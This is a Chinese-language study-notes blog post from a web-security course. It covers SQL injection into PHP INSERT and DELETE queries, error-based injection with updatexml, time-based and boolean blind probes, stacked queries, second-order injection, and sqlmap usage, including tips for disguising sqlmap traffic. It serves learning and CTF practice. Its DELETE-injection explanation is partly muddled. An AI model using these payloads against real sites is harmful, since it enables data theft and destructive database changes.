xd_day44WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

day44

小迪安全v2023学习笔记(四十四讲)—— 持续更新中-CSDN博客

第44天:WEB攻防-PHP应用 - my-kon-blog

找insrt注入,直接全局搜insert 

它的访问不是只files/submit.php

直接访问显示

找到这里提交 数据

插入语句

$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
@mysql_query($query) or die('新增错误:'.mysql_error());

有@mysql_query($query) or die('新增错误:'.mysql_error());就有报错注入的可能

1. 先明确闭合逻辑

代码里的VALUES中,所有变量(比如$content)都被单引号包裹(比如'$content')。所以注入的关键是闭合这个单引号,让我们构造的 SQL 语句能被执行。

2. 具体闭合方式(以$content为例)

假设$content是用户可控的注入点(比如评论内容),原语句中$content的位置是:

'$content'

我们需要构造$content的内容,让拼接后的 SQL 语法合法,同时触发报错:

  • 开头加':闭合原有的单引号,此时原语句的$content部分变成 '' ...(即原单引号 + 我们输入的',形成空字符串的单引号对)。

  • 中间加报错注入语句:用and连接updatexml等报错函数(利用mysql_error()回显数据)。

  • 结尾加and ':闭合后面的单引号,让整个语句的单引号成对,语法合法。

3. 完整 payload 示例(对应图片里的注入)

content字段输入:

' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) and '

拼接后的 SQL 语句中,content对应的部分会变成:

'' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) and ''

4. 注入生效的原理

  • MySQL 允许在VALUES里写表达式(比如VALUES (1+1, 'a'and'1')),所以我们构造的'' and [报错函数] and ''会被当作表达式执行。

  • updatexml要求第二个参数是合法的 XPATH 路径,但concat(0x7e,版本号,0x7e)里包含了~0x7e~的十六进制),会触发XPATH syntax error报错,同时把concat里的内容(比如数据库版本)显示在mysql_error()的回显中(代码里的die('新增错误:'.mysql_error())会输出这个报错)。

5. 后续注入拓展

用同样的闭合方式,替换SELECT @@version可以获取更多数据:

  • 获取当前数据库:SELECT database()

  • 获取表名:SELECT group_concat(table_name) from information_schema.tables where table_schema=database()

  • 获取列名:SELECT group_concat(column_name) from information_schema.columns where table_name='目标表名'

insert 的延时注入

1' AND IF(1=1,SLEEP(10),0) AND '

这里注意前面要是1如果是空字符串的话是0, and前面是零的话后面是不判断的

这里和报错的逻辑还是一样的,就是那个位置可以是表达式

发表留言要是存在注入可能,咋测试

他的sql语句是insert,插入数据一般没有回显,所以bool和联合都不行,报错注入可以尝试,因为不知道是否后端有报错的代码,时间盲注也可以,然后报错和时间盲注都需要注意符号闭合问题

当后端 SQL 为 INSERT 时,由于插入操作通常没有结果回显,
联合注入和传统布尔注入一般不可行;
可以尝试报错注入(前提是后端未吞掉数据库错误),
以及时间盲注(最稳定的判断方式)。
在使用报错注入和时间盲注时,需要特别注意当前上下文的符号闭合与列类型匹配。

delete注入

白盒直接搜

这个php只有接受数据的,没有前端展示

找到是admin/cms_usergroup.php

  • 现在点击删除然后抓包,输入我们的测试语句 4 or if(1,sleep(10),0) --+看看是否成功延时

delete 的注入很好理解,delete没有回显,不能用联合,可以尝试报错,没有页面反应用不了bool注入,可以用延时,它的注入就是在where 条件后面的,

先给一句「校准后的标准结论」

DELETE 注入通常发生在 WHERE 条件中;
由于 DELETE 本身没有结果集回显,联合注入基本不可行;
可以尝试报错注入(取决于后端是否回显错误);
当页面没有明显逻辑差异时,传统布尔盲注往往不可用;
时间盲注是最稳定、最通用的判断和利用方式。

  • 你会发现,我不是写的1秒吗,怎么延迟3秒,这里是因为删除语句是一条一条遍历的

  • 所以延迟的时间就是N * t,我这里有三条数据,延迟时间就是 3*1 = 3s

  • 那可以看到这里确实存在SQL注入,后续就可以尝试用工具跑出数据了

MySQL 会先“计算 WHERE 条件表达式”(这个过程中可能执行函数),
再根据条件结果决定是否对该行执行 DELETE / UPDATE。

一、先纠正误区:不是 OR,是「逐行执行 WHERE 条件」

假设你用的是 DELETE 语句,注入 payload 类似:

1 AND IF(1=1,SLEEP(1),0)

对应的 SQL 是:

DELETE FROM news WHERE id=1 AND IF(1=1,SLEEP(1),0)

MySQL 执行这条语句时,会做两件事:

  1. 遍历表中所有行:不管 id 是否等于 1,MySQL 会逐行取出数据,检查是否满足WHERE id=1 AND IF(...)

  2. 逐行执行 WHERE 里的表达式:对每一行,都会先计算IF(1=1,SLEEP(1),0)(因为这是 WHERE 条件的一部分),再判断整个条件是否为真。

这里左边id=1FALSE,所以会强制执行SLEEP(1)(这就是你看到的延时来源),但SLEEP(1)本身的返回值是0(等价于FALSE)。

三、补充:哪些行会被删除?

只有满足id=1 OR SLEEP(1)TRUE的行才会被删:

  • id=1的行:id=1TRUE → OR 短路,不执行SLEEP(1) → 整体条件TRUE → 会被删除;

  • id≠1的所有行(比如 id=2/3/4):id=1FALSE → 执行SLEEP(1) → 整体条件FALSE → 不会被删除。

sleep(1) → 0

找没有的数据用 or 

有的数据用and

找到注入点后

1 AND IF(length(database())=7,SLEEP(1),0)

布尔:

and length(database())=7;

and left(database(),1)='p';

and left(database(),2)='pi';

and substr(database(),1,1)='p';

and substr(database(),2,1)='i';

and ord(left(database(),1))=112;

day45二次注入

045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件-cnblog - 0xMouise - 博客园

先把SQL注入语句写到数据库,这时候可能有预编译没有注入成功,但是后续调用的时候就导致注入

第一次写入数据库时没有触发注入,
但恶意 SQL 片段被“安全地存进了数据库”,
在后续被拼接进新的 SQL 语句执行时触发漏洞——
这就是二次 SQL 注入。

但是黑盒没有源码很难测二次注入,就是花时间很多,php的二次注入它需要花很多时间,一般白盒测。

堆叠注入

堆叠注入是指攻击者利用分号将多条 SQL 语句拼接在一次请求中执行,其前提是数据库语法支持多语句且客户端或中间层未禁用 multi-statements;MySQL 默认不支持堆叠,只有在显式开启多语句(如 mysqli_multi_query 或 PDO 多语句模式)时才可能出现,因此实战较少见,但在 CTF 中仍常作为考点出现。

测试

1; select sleep(3)

堆叠注入,但是这题有黑名单不给select

day46 sqlmap

第46天:WEB攻防-PHP应用 - my-kon-blog

就记录一下自己不熟的,虽然一直都是

加星号可以告诉sqlmap注入那里

1. sqlmap超详细笔记+思维导图 - bmjoker - 博客园

user-agent确实默认是sqlmap

使用sqlmap 请加--random-agent和随机延时

虽然尽量用数据包加 -r更好 

不是,为啥ai解释个sqlmap 跑不了sqllabs23关的union注入都解释不清楚

xd还是太强了,你真的得知道ai只能大概给你一个准确问题的可能答案了,参考

真的没有详细wp的题目然后自己没点基础就不要硬啃了、

tamper模块其实不是帮你绕waf的,是你自己找到绕过思路后然后写tamper跑数据的

tamper 模块不是用来“帮你发现绕过”的,而是用来“把你已经想明白的绕过思路自动化、规模化执行”的。

payload在这

sqlmap缓存位置

sqlmap提高等级可以测请求头就是ua头注入

但是ctf好像更多的是绕waf,不过还是学到了好多

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值